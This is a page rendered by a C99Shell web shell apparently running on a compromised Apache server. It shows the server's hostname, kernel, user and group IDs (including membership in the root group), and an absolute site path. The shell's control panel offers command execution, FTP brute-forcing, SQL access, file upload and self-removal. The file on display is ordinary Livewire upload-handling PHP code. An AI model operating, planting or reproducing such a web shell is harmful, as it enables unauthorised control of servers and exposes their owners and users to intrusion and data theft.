!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/classify.picotech.app/public_html/vendor/livewire/livewire/src/Features/   drwxr-xr-x
Free 29.13 GB of 117.98 GB (24.69%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     SupportFileUploads.php (2.4 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Livewire\Features;

use 
Livewire\Livewire;
use 
Livewire\TemporaryUploadedFile;
use 
Livewire\WithFileUploads;
use 
Livewire\Wireable;

class 
SupportFileUploads
{
    static function 
init() { return new static; }

    function 
__construct()
    {
        
Livewire::listen('property.hydrate', function ($property$value$component$request) {
            
$uses array_flip(class_uses_recursive($component));

            if (! 
in_array(WithFileUploads::class, $uses)) return;

            if (
TemporaryUploadedFile::canUnserialize($value)) {
                
$component->{$property} = TemporaryUploadedFile::unserializeFromLivewireRequest($value);
            }
        });

        
Livewire::listen('property.dehydrate', function ($property$value$component$response) {
            
$uses array_flip(class_uses_recursive($component));

            if (! 
in_array(WithFileUploads::class, $uses)) return;

            
$newValue $this->dehydratePropertyFromWithFileUploads($value);

            if (
$newValue !== $value) {
                
$component->{$property} = $newValue;
            }
        });
    }

    public function 
dehydratePropertyFromWithFileUploads($value)
    {
        if (
TemporaryUploadedFile::canUnserialize($value)) {
            return 
TemporaryUploadedFile::unserializeFromLivewireRequest($value);
        }

        if (
$value instanceof TemporaryUploadedFile) {
            return  
$value->serializeForLivewireResponse();
        }

        if (
is_array($value) && isset(array_values($value)[0])) {
            
$isValid true;

            foreach (
$value as $key => $arrayValue) {
                if (!(
$arrayValue instanceof TemporaryUploadedFile) || !is_numeric($key)) {
                    
$isValid false;
                    break;
                }
            }

            if (
$isValid) {
                return 
array_values($value)[0]::serializeMultipleForLivewireResponse($value);
            }
        }

        if (
is_array($value)) {
            foreach (
$value as $key => $item) {
                
$value[$key] = $this->dehydratePropertyFromWithFileUploads($item);
            }
        }

        if (
$value instanceof Wireable) {
            
$keys array_keys((array) get_object_vars($value));

            foreach (
$keys as $key) {
                
$value->{$key} = $this->dehydratePropertyFromWithFileUploads($value->{$key});
            }
        }

        return 
$value;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.025 ]--